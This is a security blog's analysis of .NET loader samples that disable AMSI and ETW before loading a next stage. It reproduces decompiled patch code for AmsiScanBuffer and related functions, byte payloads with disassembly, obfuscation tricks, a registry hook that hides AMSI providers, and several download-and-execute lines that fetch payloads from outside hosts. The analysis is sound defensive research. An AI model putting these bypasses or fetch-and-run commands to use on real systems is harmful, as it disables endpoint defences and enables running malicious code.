Skip to main content
Contact us: blog@ukatemi.com
TECHNICAL BLOG ukatemi.com

Analysis of .NET AMSI bypass assembly loaders

Overview

During our follow up on Phantom Taurus Assembly Executer samples, we analyzed many .NET samples that implemented some kind of AMSI bypass technique. Though we deemed them unrelated to the original Assembly Executers, they are still interesting from a what's inside a malware database standpoint. In this report we analyze the different kinds of samples.

The process of finding these samples was the following. We searched for similar samples to the two original Assembly Executer V2 samples (that implement AMSI and ETW bypass) in our Kaibou Search Services (KSS) database which at the time of writing contains 777 million malware samples. We used the TLSH similarity search functionality with a fairly high threshold of 80. A more conservative and reliable threshold of 40 didn't provide any samples besides the original ones. More details in the Phantom Taurus samples blog post.

The two Assembly Executer samples only differed in their compilation mode, one was compiled in Release mode, whereas the other was in Debug mode. They yielded 11214 and 1894 potentially similar samples. We proceeded with downloading all of them from our database and generating their decompiled source codes with ilspy. Then we searched for the case-insensitive string amsi in them, which resulted in 59 samples and the 2 original samples. We examined all of them manually and sorted them based on their similar code characteristics. In the end there were 27 different sources.

The following is a semi-structured overview of these samples.

Patches

All of these samples are some kind of loaders, so their purpose is to try to disable some detection techniques and load the next stage afterwards. First we view how samples try to evade detection by overwriting in-process functions that EDRs use to detect malicious code.

amsi.dll:AmsiScanBuffer

The most common patch target was amsi.dll:AmsiScanBuffer, 33 programs tried to patch this function. This function is used to "Scan a buffer-full of content for malware." ms docs. The usual way to achieve this was to:

  1. LoadLibrary("amsi.dll") to memory
  2. use GetProcAddress("AmsiScanBuffer") to get its address
  3. VirtualProtect() with PAGE_EXECUTE_READWRITE constant to make a few bytes writable at this address.
  4. overwrite the first few instructions with something ending in ret
  5. restore the previous protection on the memory region
private void BypassAmsi()
{
  string procName = "AmsiScanBuffer";
  IntPtr procAddress = GetProcAddress(LoadLibrary("amsi.dll"), procName);
  byte[] array = new byte[6] { 184, 87, 0, 7, 128, 195 };
  VirtualProtect(procAddress, (UIntPtr)(ulong)array.Length, 64u, out var lpflOldProtect);
  Marshal.Copy(array, 0, procAddress, array.Length);
  VirtualProtect(procAddress, (UIntPtr)(ulong)array.Length, lpflOldProtect, out var _);
}

We observed several different payloads in the samples. The shortest was to just return from the function. This may not work because eax should contain the result code of the funtion call and in this case it is not overwritten so it still holds the value set by the previous function.

C#: { 195 }
00000000  C3                ret

A one step more advanced technique was to also set eax to E_INVALIDARG. This had multiple variants. Some sample distinguished between 32 and 64 bit systems.

Arch: 64 bit
C#: { 184, 87, 0, 7, 128, 195 }
00000000  B857000780        mov eax,0x80070057
00000005  C3                ret

Arch: 32 bit
C#: { 184, 87, 0, 7, 128, 194, 24, 0 }
00000000  B857000780        mov eax,0x80070057
00000005  C21800            ret 0x18

Other samples set this value to eax by setting ax twice and shifting the content up in between. We think this was to evade the common instruction pattern above (directly setting eax).

Arch: 64 bit
C#: { 49, 192, 102, 184, 7, 128, 193, 192, 16, 102, 184, 87, 0, 195 }
00000000  31C0              xor eax,eax
00000002  66B80780          mov ax,0x8007
00000006  C1C010            rol eax,byte 0x10
00000009  66B85700          mov ax,0x57
0000000D  C3                ret

Arch: 32 bit
C#: { 49, 192, 102, 184, 7, 128, 193, 192, 16, 102, 184, 87, 0, 194, 24, 0 }
00000000  31C0              xor eax,eax
00000002  66B80780          mov ax,0x8007
00000006  C1C010            rol eax,byte 0x10
00000009  66B85700          mov ax,0x57
0000000D  C21800            ret 0x18

The final technique was to zero out the edi register right when it should hold the length of the input buffer. So mov edi, r8d where r8d held the buffer length and moved it to edi is overwritten by zeroing out edi with xor edi, edi instruction.

Offset: 27 bytes
C#: { 49, 255, 144 }
00000000  31FF              xor edi,edi
00000002  90                nop

Two samples used the EggHunter method to find AmsiScanBuffer in memory. They search the memory from the address of DllCanUnloadNow for a specific byte pattern that marks the start of AmsiScanBuffer, then overwrite the start just like before.

public static void Patch()
{
  IntPtr procAddress = GetProcAddress(LoadLibrary("amsi.dll"), "DllCanUnloadNow");
  byte[] array = new byte[0];
  array = ((IntPtr.Size != 8) ? new byte[10] { 139, 255, 85, 139, 236, 131, 236, 24, 83, 86 } : new byte[24]
  {
    76, 139, 220, 73, 137, 91, 8, 73, 137, 107,
    16, 73, 137, 115, 24, 87, 65, 86, 65, 87,
    72, 131, 236, 112
  });
  IntPtr pointer = FindAddress(procAddress, array);
  pointer = IntPtr.Subtract(pointer, array.Length - 1);
  uint lpflOldProtect = 0u;
  VirtualProtect(pointer, (UIntPtr)5uL, 4u, out lpflOldProtect);
  Marshal.Copy(new byte[6] { 184, 87, 0, 7, 128, 195 }, 0, pointer, 6);
  uint lpflOldProtect2 = 0u;
  VirtualProtect(pointer, (UIntPtr)5uL, lpflOldProtect, out lpflOldProtect2);
}

ntdll.dll:EtwEventWrite

Event Tracing for Windows is an efficient kernel-level tracing functionality. The .NET runtime sends it logs in json format, it’s gathering information like namespace names, class names, and method names. EDRs can monitor this for suspicious activity. Event Tracing can be bypassed in-process with a similar overwriting technique.

C#: { 195 }
00000000  C3                ret
C#: { 194, 20, 0 }
00000000  C21400            ret 0x14
Sample info
Attribute Value
Name ConsoleApp2.dll
SHA256 be961ec3f53f23aae46a57b2dcaff91de0d07271802521d33a5afdad5bd569b4
TLSH 36F1F901A7E4446BFC664771FDB786101335FA919D53EF6E798A422F1C1235809A3BB2
KSS upload 2025-06-17 02:53:15 UTC
VT upload 2025-06-15 12:17:27 UTC
Size 7680
PDB path C:\Users\Administrator\source\repos\ConsoleApp2\ConsoleApp2\obj\Debug\net8.0\ConsoleApp2.pdb
Attribute Value
Name Downloader.exe
SHA256 aad5599b751c7f98b3c0b721bed7cded2ace818e482166dd89f1600efbb9f074
TLSH 6DE1C702DBFC5220EDBA0B317C77434055B1FA129A27CB6D28C6221F1E237A54A63733
KSS upload 2025-03-26 11:34:42 UTC
VT upload 2025-03-19 10:09:26 UTC
Size 7168
PDB path D:\RedTeamCode\Redteam_shellcode\Downloader\Downloader\obj\Release\Downloader.pdb
Attribute Value
Name vega.dll
SHA256 d9e9460320defd14a1c519b4c4d4162d6cf8f73f3bda735a7baeb9c7cf1a8898
TLSH CBD1C515D3E84B32F8BF0731ADB2A3451AF5F950CB67EB6F4596214A5D323200973762
KSS upload 2021-10-10 15:52:46 UTC
VT upload 2021-09-26 21:04:39 UTC
Size 6656
PDB path C:\Users\d3adc0de.PCOIPTEST\source\repos\vega\vega\obj\x64\Release\vega.pdb

ntdll.dll:NtTraceEvent

NtTraceEvent is a function that is exported by ntdll.dll and communicates with the kernel. This function is not documented by Microsoft and is used by ETW to tell the kernel about an event. By making it return immediatelly with a return value of 0, the caller gets the information that the event was processed successfully.

Arch: 64 bit
C#: { 72, 51, 192, 195 }
00000000  4833C0            xor rax,rax
00000003  C3                ret

Arch: 32 bit
C#: { 51, 192, 194, 16, 0 }
00000000  33C0              xor eax,eax
00000002  C21000            ret 0x10
Sample info
Attribute Value
Name Evasion.dll
SHA256 c2d07c67865bd79d5a25fd1aa2b6ee529cd4977aaa491494d53eea7f5e9bbc70
TLSH 91D1D815CBE88276ECBA5B31DDB202910572F541DC678B2F94CDD10B6D1F3689AB1731
KSS upload 2023-02-27 16:34:25 UTC
VT upload 2023-02-28 01:52:13 UTC
Size 6657
PDB path

wldp.dll:WldpQueryDynamicCodeTrust

The Windows Lockdown Policy function WldpQueryDynamicCodeTrust "Retrieves a value that determines if the specified in-memory or on-disk .NET CRL dynamic code is trusted by Device Guard policy" ms docs. The patch code we observed in one of the samples starts with a function prolog, it first saves some registers on the stack, creates a stack frame and fills 58 DWORDs with 0xcccccccc. Loads the QWORD at address 0xf742 relative to the instruction to rcx and makes a call to absolute address 0xfffffffffffff79c, then cleanes up the function.

Arch: 64 bit
C#: {
	68, 137, 68, 36, 24, 72, 137, 84, 36, 16,
	72, 137, 76, 36, 8, 85, 87, 72, 129, 236,
	232, 0, 0, 0, 72, 141, 108, 36, 32, 72,
	139, 252, 185, 58, 0, 0, 0, 184, 204, 204,
	204, 204, 243, 171, 72, 139, 140, 36, 8, 1,
	0, 0, 72, 141, 13, 7, 247, 0, 0, 232,
	92, 247, 255, 255, 51, 192, 72, 141, 165, 200,
	0, 0, 0, 95, 93, 195, 204, 204, 204, 204,
	204, 204, 204, 204, 204, 204, 204, 204, 204, 204,
	204, 204, 204, 204, 204, 204
}
00000000  4489442418        mov [rsp+0x18],r8d
00000005  4889542410        mov [rsp+0x10],rdx
0000000A  48894C2408        mov [rsp+0x8],rcx
0000000F  55                push rbp
00000010  57                push rdi
00000011  4881ECE8000000    sub rsp,0xe8
00000018  488D6C2420        lea rbp,[rsp+0x20]
0000001D  488BFC            mov rdi,rsp
00000020  B93A000000        mov ecx,0x3a
00000025  B8CCCCCCCC        mov eax,0xcccccccc
0000002A  F3AB              rep stosd
0000002C  488B8C2408010000  mov rcx,[rsp+0x108]
00000034  488D0D07F70000    lea rcx,[rel 0xf742]
0000003B  E85CF7FFFF        call 0xfffffffffffff79c
00000040  33C0              xor eax,eax
00000042  488DA5C8000000    lea rsp,[rbp+0xc8]
00000049  5F                pop rdi
0000004A  5D                pop rbp
0000004B  C3                ret
0000004C  CC                int3
0000004D  CC                int3
0000004E  CC                int3
0000004F  CC                int3
00000050  CC                int3
00000051  CC                int3
00000052  CC                int3
00000053  CC                int3
00000054  CC                int3
00000055  CC                int3
00000056  CC                int3
00000057  CC                int3
00000058  CC                int3
00000059  CC                int3
0000005A  CC                int3
0000005B  CC                int3
0000005C  CC                int3
0000005D  CC                int3
0000005E  CC                int3
0000005F  CC                int3

Further examination of the sample that implemented this bypass reveals the PDB path: C:\Users\d3adc0de.PCOIPTEST\source\repos\vega\vega\obj\x64\Release\vega.pdb and the binary has the name vega.dll. It is exactly this binary from inceptor.

Sample info
Attribute Value
Name vega.dll
SHA256 d9e9460320defd14a1c519b4c4d4162d6cf8f73f3bda735a7baeb9c7cf1a8898
TLSH CBD1C515D3E84B32F8BF0731ADB2A3451AF5F950CB67EB6F4596214A5D323200973762
KSS upload 2021-10-10 15:52:46 UTC
VT upload 2021-09-26 21:04:39 UTC
Size 6656
PDB path C:\Users\d3adc0de.PCOIPTEST\source\repos\vega\vega\obj\x64\Release\vega.pdb

Unhook ntdll.dll

There is also an example of ntdll.dll unhooking. This is done by finding ntdll.dll in the memory of the current process, reading and rewriting the memory. Though this technique would work if it was rewritten with ntdll.dll from disk, the current code only rewrites it with the same data (hooks, patches included if there were any). 2035711 decimal stands for 0x1F0FFF = PROCESS_ALL_ACCESS

private static void UnhookNTDLL()
{
  IntPtr hProcess = OpenProcess(2035711u, bInheritHandle: false, Process.GetCurrentProcess().Id);
  IntPtr moduleHandle = GetModuleHandle("ntdll.dll");
  MODULEINFO lpmodinfo = default(MODULEINFO);
  GetModuleInformation(hProcess, moduleHandle, out lpmodinfo, (uint)Marshal.SizeOf(lpmodinfo));
  byte[] lpBuffer = new byte[lpmodinfo.SizeOfImage];
  ReadProcessMemory(hProcess, moduleHandle, lpBuffer, lpmodinfo.SizeOfImage, out var lpNumberOfBytesRead);
  WriteProcessMemory(hProcess, moduleHandle, lpBuffer, lpmodinfo.SizeOfImage, out lpNumberOfBytesRead);
}
Sample info
Attribute Value
Name Downloader.exe
SHA256 aad5599b751c7f98b3c0b721bed7cded2ace818e482166dd89f1600efbb9f074
TLSH 6DE1C702DBFC5220EDBA0B317C77434055B1FA129A27CB6D28C6221F1E237A54A63733
KSS upload 2025-03-26 11:34:42 UTC
VT upload 2025-03-19 10:09:26 UTC
Size 7168
PDB path D:\RedTeamCode\Redteam_shellcode\Downloader\Downloader\obj\Release\Downloader.pdb

kernelbase.dll:RegOpenKeyExW

One sample overwrites RegOpenKeyExW with a shellcode to jump to a delegate hook (marked with 0xdeadbeef).

C#: { 72, 184, 0xef, 0xbe, 0xad, 0xde, 80, 195 }
00000000  48                dec eax
00000001  B8EFBEADDE        mov eax,0xdeadbeef
00000006  50                push eax
00000007  C3                ret

This sample saves the original bytes at the beginning of RegOpenKeyExW and overwrites them to jump to RegOpenKeyWDetour. This function resets the original bytes. Then checks whether the registry open request came for subkey Software\Microsoft\AMSI\Providers. This key holds a list of AMSI providers, e.g. {2781761E-28E0–4109–99FE-B9D127C57AFE} stands for Microsoft Defender. When scanning an input, AMSI processes thes registry keys to submit the input for processing to the registered providers. So in the RegOpenKeyWDetour function if the open request came for Software\Microsoft\AMSI\Providers subkey, the function tries to open Software\Microsoft\AMSI\Providers with a space at the end (that doesn't exist). An exception is generated and caught. If this was either the first or the second attempt to read this key, the hook reestablishes itself, otherwise it lets the original RegOpenKeyExW process the request. To sum it up, it blocks the first two attempts to read this registry key, so AMSI scans see 0 providers.

public static int oldProtect;

public static IntPtr targetAddr;

public static IntPtr hookAddr;

public static byte[] originalBytes = new byte[12];

public static byte[] hookBytes = new byte[12];

public static int counter = 0;

public static string thekey = "Software\\Microsoft\\AMSI\\Providers";

public static DelegateRegOpenKeyExW A;

public static void DisappearKey()
{
  A = RegOpenKeyWDetour;
  targetAddr = GetProcAddress(GetModuleHandle("KERNELBASE.dll"), "RegOpenKeyExW");
  hookAddr = Marshal.GetFunctionPointerForDelegate(A);
  Marshal.Copy(targetAddr, originalBytes, 0, 12);
  hookBytes = new byte[2] { 72, 184 }.Concat(BitConverter.GetBytes((long)hookAddr)).Concat(new byte[2] { 80, 195 }).ToArray();
  VirtualProtect(targetAddr, 12, 64, out oldProtect);
  Marshal.Copy(hookBytes, 0, targetAddr, hookBytes.Length);
}

public static int RegOpenKeyWDetour(IntPtr hKey, string lpSubKey, uint ulOptions, int samDesired, out IntPtr phkResult)
{
  try
  {
    Marshal.Copy(originalBytes, 0, targetAddr, hookBytes.Length);
    if (lpSubKey == thekey)
    {
      counter++;
      return RegOpenKeyExW(hKey, thekey + " ", ulOptions, samDesired, out phkResult);
    }
    return RegOpenKeyExW(hKey, lpSubKey, ulOptions, samDesired, out phkResult);
  }
  finally
  {
    if (counter < 3)
    {
      Marshal.Copy(hookBytes, 0, targetAddr, hookBytes.Length);
    }
  }
}
Sample info
Attribute Value
Name ConsoleApp1.exe
SHA256 9683cab10316c2d33c007ff0cbf648df087998da1fcd797233812029ffb0cdd6
TLSH EBE1E611EBD88B72EDB70F716D73138012BAF7054E4BEA1F64CD455B1E13A484AA2392
KSS upload 2025-08-10 14:29:59 UTC
VT upload 2025-08-11 13:13:14 UTC
Size 7168
PDB path C:\Users\Preslav\source\repos\ConsoleApp1\ConsoleApp1\obj\x64\Release\ConsoleApp1.pdb

GetSystemLockdownPolicy

SystemEnforcementMode can take 3 values: None, Audit, Enforce. In audit mode, PowerShell runs the untrusted scripts in ConstrainedLanguage mode but logs messages to the event log instead of throwing errors. The log messages describe what restrictions would apply if the policy were in Enforce mode. With this overwrite, GetSystemLockdownPolicy will always return None.

C#: { 72, 49, 192, 195 }
00000000  4831C0            xor rax,rax
00000003  C3                ret

Patch Obfuscation

Some sample obfuscate the patches so that static analysis tools cannot alert on popular byte sequences that could indicate AMSI bypass. Here, the sample has a hardcoded xor key chtpt and the payloads are in base64-encoded format.

private byte[] getETWPayload()
{
  if (!is64Bit())
  {
    return MyDecode("whQA");
  }
  return MyDecode("ww==");
}

private byte[] getAMSIPayload()
{
  if (!is64Bit())
  {
    return MyDecode("uFcAB4DCGAA=");
  }
  return MyDecode("uFcAB4DD");
}

private byte[] MyDecode(string _Input)
{
  string key = "chtpt";
  return XorDecode(Convert.FromBase64String(_Input), key);
}

private byte[] XorDecode(byte[] _Input, string _Key)
{
  int num = 0;
  int length = _Key.Length;
  int i = 0;
  for (int num2 = _Input.Length; i < num2; i++)
  {
    char c = _Key[num];
    _Input[i] = Convert.ToByte(_Input[i] ^ c);
    num = (num + 1) % length;
  }
  return _Input;
}
Sample info
Attribute Value
Name PELoader_CSharp.exe
SHA256 66b968ec7cc3c62c0fbee3b7716318761dec052a90d96830e466a43b80e27bcc
TLSH 52E1C600ABF88526DDAE07369AB3874053B5F3369923DB6D7C81522F6F9335459037B2
KSS upload 2021-10-22 03:56:23 UTC
VT upload 2021-10-06 11:34:46 UTC
Size 7168
PDB path D:\VisualStudioProject\PELoader_CSharp\PELoader_CSharp\obj\Release\PELoader_CSharp.pdb

Another sample has each byte value incremented by 1 in the patch payload:

IntPtr procAddress = GetProcAddress(LoadLibrary("amsi.dll"), "AmsiScanBuffer");
byte[] array = new byte[6] { 185, 88, 1, 8, 129, 196 };
VirtualProtect(procAddress, (UIntPtr)(ulong)array.Length, 64u, out var _);
for (int i = 0; i < array.Length; i++)
{
  Marshal.Copy(new byte[1] { (byte)(array[i] - 1) }, 0, procAddress + i, 1);
}
Sample info
Attribute Value
Name loader.dll
SHA256 584a5e3b628d23bc26451bd9ce136ad74c09a25f0c217faa86ebb68650465a97
TLSH F6C1D521E7E45632EDAF4B36BEE363421370F9518C67CF5F88C9410B5C362548A63B66
KSS upload 2024-08-11 03:15:09 UTC
VT upload 2024-08-07 12:43:39 UTC
Size 6144
PDB path

Another just xored the bytes with 0xdeadbeefcafebabe.

private static byte[] GetPatch
{
  get
  {
    byte[] s = new byte[6] { 102, 250, 190, 232, 74, 61 };
    byte[] s2 = new byte[8] { 102, 250, 190, 232, 74, 60, 162, 190 };
    if (Is64Bit)
    {
      return handle(s, 6);
    }
    return handle(s2, 8);
  }
}
public static byte[] handle(byte[] s, int l)
{
  byte[] array = new byte[8] { 222, 173, 190, 239, 202, 254, 186, 190 };
  byte[] array2 = new byte[l];
  for (int i = 0; i < l; i++)
  {
    array2[i] = Convert.ToByte(s[i] ^ array[i % 8]);
  }
  return array2;
}
Sample info
Attribute Value
Name AmsiPatch.dll
SHA256 d1932710cf544c1ebe4e753f5a0867d6cf345b65f0f8bae4b87f5d9626ca8a3f
TLSH D1C1D621A7E80776ECBB0B32EDB3A7020375EA004E63DB6F54C85106AD12694A533BD5
KSS upload 2022-06-06 04:24:46 UTC
VT upload 2022-05-31 12:59:00 UTC
Size 5632
PDB path C:\dev\dnBypass\AmsiPatch\obj\Release\AmsiPatch.pdb

Loaded code

After disabling some detection techniques, it's time to load the payload for the next stage. This is most of the time x86 binary code bytes. In this section we describe the methods, the various samples use to load assemblies.

The most common technique it to use Assembly.Load() on an array of bytes and then Invoke() its EntryPoint.

Assembly assembly = Assembly.Load(assemblyData);
MethodInfo entryPoint = assembly.EntryPoint;
entryPoint.Invoke(null, parameters);

A similar one was to instantiate a type from the assembly and invoke a member function.

Assembly assembly = Assembly.Load(rawAssembly);
Type type = assembly.GetType("OttoStager.OttoStager");
object target = Activator.CreateInstance(type);
type.InvokeMember("OttoStager", BindingFlags.Static | BindingFlags.Public | BindingFlags.InvokeMethod, null, target, null);
object obj = Assembly.Load(memoryStream.ToArray()).CreateInstance("stagetwo.Yeet");
obj.GetType().GetMethod("main").Invoke(obj, new object[2]
{
  ((object)this).GetType().Assembly.Location,
  streamReader
});

Another method was to create a thread with intPtr as startaddress, pointing to a shellcode.

hThread = CreateThread(IntPtr.Zero, 0u, intPtr, IntPtr.Zero, 0u, ref lpThreadId);
if (!(IntPtr.Zero == hThread))
{
  WaitForSingleObject(hThread, uint.MaxValue);
}

Others created PowerShell runspaces after bypassing AMSI. In the started runspace, AMSI is disabled so the executed PowerShell code won't trigger detection this way.

ConsoleShell.Start(RunspaceConfiguration.Create(), "Banner", "Help", new string[3] { "-exec", "bypass", "-nop" });
private static string RunScript(string script)
{
  Runspace val = RunspaceFactory.CreateRunspace();
  val.Open();
  Pipeline obj = val.CreatePipeline();
  obj.Commands.AddScript(script);
  obj.Commands.Add("Out-String");
  Collection<PSObject> collection = obj.Invoke();
  val.Close();
  StringBuilder stringBuilder = new StringBuilder();
  foreach (PSObject item in collection)
  {
    stringBuilder.AppendLine(((object)item).ToString());
  }
  return stringBuilder.ToString();
}

Assembly sources

The executed assembly code comes from different sources. Some just read it encoded from standard input.

streamReader = new StreamReader(Console.OpenStandardInput());
text = streamReader.ReadLine();
GZipStream gZipStream = new GZipStream(new MemoryStream(Convert.FromBase64String(text)), CompressionMode.Decompress);
MemoryStream memoryStream = new MemoryStream();
gZipStream.CopyTo(memoryStream);

Some download a binary or powershell script after bypassing AMSI.

// IEX ((new-object net.webclient).downloadstring('http://106.52.219.135:81/a'))
RunScript(Base64Decode("SUVYICgobmV3LW9iamVjdCBuZXQud2ViY2xpZW50KS5kb3dubG9hZHN0cmluZygnaHR0cDovLzEwNi41Mi4yMTkuMTM1OjgxL2EnKSk="))
iex(new-object net.webclient).downloadstring('http://10.10.15.74/amsi.ps1')
iex(new-object net.webclient).downloadstring('http://192.168.0.103/payload')
byte[] rawAssembly = webClient.DownloadData("http://10.10.120.20:81/customgrunt.exe");
byte[] rawAssembly = webClient.DownloadData("http://192.168.0.18:8181/httpgrunt.exe");
byte[] array = DownloadBeacon("https://your-server.com/sliver_beacon.bin");
ExecuteReflectiveAssembly(XorDecrypt(array, "NHANTIEU"));
byte[] rawAssembly = webClient.DownloadData("http://dead1.net/deadTry.exe");

Some just read it from a file.

string path = "2.txt";
string input = File.ReadAllText(path);
string s = ReverseObfuscateString(input);
byte[] compressedData = Convert.FromBase64String(s);
Assembly asm = DecompressAssembly(compressedData);
CreateAndInvokeMethod(asm, "GodPotato.Program", "Main", args);
public static string AssemblyDirectory => Path.GetDirectoryName(Uri.UnescapeDataString(new UriBuilder(Assembly.GetExecutingAssembly().CodeBase).Path));
Assembly.LoadFrom(Path.Combine(AssemblyDirectory, "..", "PowerShellProtect.dll"));

Groups and purposes

As you can see many samples load code from private IP addresses, have templated text in them. These are most likely not associated with malicious actors, some of them are test programs compiled from a PoC project on GitHub. Some are just learning artifacts, some are for red teaming. Some of the samples are obviously coming from the same source, some even show signs of incremental development.

GitHub projects

This first group consists of samples that can be matched to GitHub projects based on their PDBs, decompiled source code structure. These could be compiled by anyone on their machines and they somehow made it to VirusTotal and our database.

Crybat

12 samples are different development versions or copies of Crybat, formerly Jlaive. The original repository has beed deleted but there are forks where we can still view the original source code.

Sample info
Attribute Value
Name ConsoleApp10.exe
SHA256 0bbfbf72bbcb7a92d5bd79705657dcb5038e686dcb1adebd1fc88fccbb645115
TLSH 29D1C604DBD447B3E9B20B71A9B3238416B8FB208D57EB5F25CD860B2E2735405A2371
KSS upload 2024-05-04 20:48:36 UTC
VT upload 2024-05-04 13:37:19 UTC
Size 6656
PDB path C:\Users\NapoleonRecode\source\repos\ConsoleApp10\ConsoleApp10\obj\Debug\ConsoleApp10.pdb
Attribute Value
Name ConsoleApp10.exe
SHA256 1970460d7cecd03420e7778b4bc9cd7b5196ff2ad6e1a4d7bfd2f8ec110b5d9c
TLSH 1EC1E541DBD84672E8B20B71ADB717000338FA244D67AB5E64CCD21B7E2334489223BA
KSS upload 2024-05-06 01:22:09 UTC
VT upload 2024-05-04 13:32:23 UTC
Size 6144
PDB path C:\Users\NapoleonRecode\source\repos\ConsoleApp10\ConsoleApp10\obj\Debug\ConsoleApp10.pdb
Attribute Value
Name ConsoleApp10.exe
SHA256 1de31c17d2148152908e9ac02b47fba709726c01534dbb7f7459c4e1d5d24ac0
TLSH DED1C410DBE88732E8B61B71A9B3134507B4FB508967EB2F25CDD60B6E2235409A3771
KSS upload 2024-05-04 20:48:36 UTC
VT upload 2024-05-04 13:26:03 UTC
Size 6656
PDB path C:\Users\NapoleonRecode\source\repos\ConsoleApp10\ConsoleApp10\obj\Debug\ConsoleApp10.pdb
Attribute Value
Name ConsoleApp10.exe
SHA256 297cb38fec01cb263a5c075f2016ffa9b62733531df3fb57dd3d54bf08c1e10b
TLSH 44D1C614DBD88773E8774B71ADB3624402B8EB14892BEB6F29CDC50B6E6374409A2371
KSS upload 2024-05-04 20:48:36 UTC
VT upload 2024-05-04 13:25:07 UTC
Size 6656
PDB path C:\Users\NapoleonRecode\source\repos\ConsoleApp10\ConsoleApp10\obj\Debug\ConsoleApp10.pdb
Attribute Value
Name ConsoleApp10.exe
SHA256 314ad5ad49e9a3473768a6fe66e9e2fc48d69452b4ee2156d6441b6fe363c3e0
TLSH 38D1D714DBD84777E8770B31ADF3534402B8EB148A17EB6F28CDC50B6F6235405A23A1
KSS upload 2024-05-04 20:48:36 UTC
VT upload 2024-05-04 13:42:48 UTC
Size 6656
PDB path C:\Users\NapoleonRecode\source\repos\ConsoleApp10\ConsoleApp10\obj\Debug\ConsoleApp10.pdb
Attribute Value
Name ConsoleApp10.exe
SHA256 505bc2b49771cc9e469851f62862ccb876d51bc667ccc06b8d9c61bf4f4cf4ee
TLSH 33D1E741CBD49672E8B60B35ADF393410238FB108D27EB6F24CD960B6E5235849B37B5
KSS upload 2024-05-04 20:48:36 UTC
VT upload 2024-05-04 13:41:22 UTC
Size 6656
PDB path C:\Users\NapoleonRecode\source\repos\ConsoleApp10\ConsoleApp10\obj\Debug\ConsoleApp10.pdb
Attribute Value
Name ConsoleApp10.exe
SHA256 50af10ec8a29b6934c8f477732c8114b599edff1069d0eb40c63c2a2f45d135e
TLSH 2AE1C600DBD85772E47A5B31ECB2630506B9EA144A27EB6F25CEC50F7E2634409A3BF1
KSS upload 2024-05-04 20:18:17 UTC
VT upload 2024-05-04 13:21:05 UTC
Size 7168
PDB path C:\Users\NapoleonRecode\source\repos\ConsoleApp10\ConsoleApp10\obj\Debug\ConsoleApp10.pdb
Attribute Value
Name ConsoleApp10.exe
SHA256 7746095f1afb34a353312a6a30748288b3c968a78be463544bb792d1dc70b306
TLSH 0CD1C514DBE84773E8760B71ADB3624407B8EB148A1BEB6F25CDC60B6E6235409A3375
KSS upload 2024-05-04 20:48:36 UTC
VT upload 2024-05-04 13:25:37 UTC
Size 6656
PDB path C:\Users\NapoleonRecode\source\repos\ConsoleApp10\ConsoleApp10\obj\Debug\ConsoleApp10.pdb
Attribute Value
Name ConsoleApp10.exe
SHA256 842b37c5afe92ad1e3d3695c0b0baf8a1b929e1567de6a318fe5134c5d4e1ae6
TLSH C1D1C410DBE84773E8760B31ACB353480AB4FA008957EB6F19CDD20B6F2235405A2775
KSS upload 2024-05-04 20:48:36 UTC
VT upload 2024-05-04 13:29:18 UTC
Size 6656
PDB path C:\Users\NapoleonRecode\source\repos\ConsoleApp10\ConsoleApp10\obj\Debug\ConsoleApp10.pdb
Attribute Value
Name ConsoleApp10.exe
SHA256 91136d7afe5ce130e00cd8d520f4e1c506a748434cee6ed2bac54ffafba92bcc
TLSH 72E1D714DBD88673E8764B71ADF3630506B4EA544D1BEB2F25CDC60F6E2234405A37B1
KSS upload 2024-05-04 20:18:17 UTC
VT upload 2024-05-04 13:24:11 UTC
Size 7168
PDB path C:\Users\NapoleonRecode\source\repos\ConsoleApp10\ConsoleApp10\obj\Debug\ConsoleApp10.pdb
Attribute Value
Name ConsoleApp10.exe
SHA256 91f29e39217245e92633a5a26f3db321f59912207560dbe61cea5223b069f9fd
TLSH A4D1D640DBD48672E8B21B71ADF363424238FB508C57EB5F25CDD20B6E2234889B27B5
KSS upload 2024-05-04 20:48:36 UTC
VT upload 2024-05-04 13:40:09 UTC
Size 6656
PDB path C:\Users\NapoleonRecode\source\repos\ConsoleApp10\ConsoleApp10\obj\Debug\ConsoleApp10.pdb
Attribute Value
Name ConsoleApp9.exe
SHA256 9464cf63840b9557544fdd118719bfb3253459858b006e8797f3ebdbd2a6a8e0
TLSH C8E1C704EBD45A72E4BA1B31ECB3A30507B5E6744E67DB1F19CD810F3D1635485A2BA1
KSS upload 2024-05-04 20:48:36 UTC
VT upload 2024-05-04 13:20:14 UTC
Size 7168
PDB path C:\Users\NapoleonRecode\source\repos\ConsoleApp9\ConsoleApp9\obj\Debug\ConsoleApp9.pdb

bypass-clm

6 samples are develpment versions of bypass-clm, a PowerShell Constrained Language Mode Bypass program from different user machines (based on .pdb)

Sample info
Attribute Value
Name bypass-clm.exe
SHA256 00f1dab8457a6064c45bbcb2e6dbf64261b512eae850602fecc92331082836c5
TLSH 0CD1C712F7DC1335EDFA4B76ACA3931107B4F6818C968F9E28E9520B9E172444A63771
KSS upload 2023-10-02 00:27:40 UTC
VT upload 2023-09-30 18:57:33 UTC
Size 6656
PDB path C:\osep\soft\bypass-clm-master\bypass-clm\obj\Release\bypass-clm.pdb
Attribute Value
Name bypass-clm.exe
SHA256 3ab5983c824a64b7256ce6d7149e88109527b87ab82dc12609bd0751655b4f18
TLSH B3E1D712EBD9473BF8BB8B316CB393110BB0FA408D579B6D25DD670B9C1B6440A63362
KSS upload 2022-02-25 00:35:51 UTC
VT upload 2022-01-16 19:09:18 UTC
Size 7168
PDB path C:\Users\ary\Desktop\OSEP-main\CLM&AppLoacker\bypass-clm-master\bypass-clm\obj\Debug\bypass-clm.pdb
Attribute Value
Name bypass-clm.exe
SHA256 5eab3bc4f726deae98260abedfe4e588a9962896d8c58bce540a5b068e5c2104
TLSH 57D1D711FBEC473AECBB47379CB3A3110AB5F6404956CB6E24C8920BAD177445A63BB1
KSS upload 2024-04-30 12:06:52 UTC
VT upload 2024-04-29 08:15:40 UTC
Size 6656
PDB path bypass-clm.pdb
Attribute Value
Name bypass-clm.exe
SHA256 dbaf162a0296d1e9838727d412d9d82f397fd9c6dbfc9d86217447722f589ef2
TLSH 1CD1D712E7E8563BEDBB4731ACB3932107B0FB444D569B5E24CD630B9D0764449A3372
KSS upload 2021-03-27 08:13:55 UTC
VT upload 2021-03-12 10:20:54 UTC
Size 6656
PDB path C:\Users\MichaelDyrmose\Desktop\OSEP\Challenge 1\bypass-clm-master\bypass-clm\obj\x64\Release\bypass-clm.pdb
Attribute Value
Name bypass-clm.exe
SHA256 dc608b4068f287b7e7ae4f9a1d23d4513d88ef47c30dca8152e651f266f62823
TLSH C0D1C711F7D8477AECBF4737ACB363010BB4F6504956CB6D25C8920B9D1B6844AA3BB2
KSS upload 2023-08-19 11:17:07 UTC
VT upload 2022-11-01 00:50:24 UTC
Size 6656
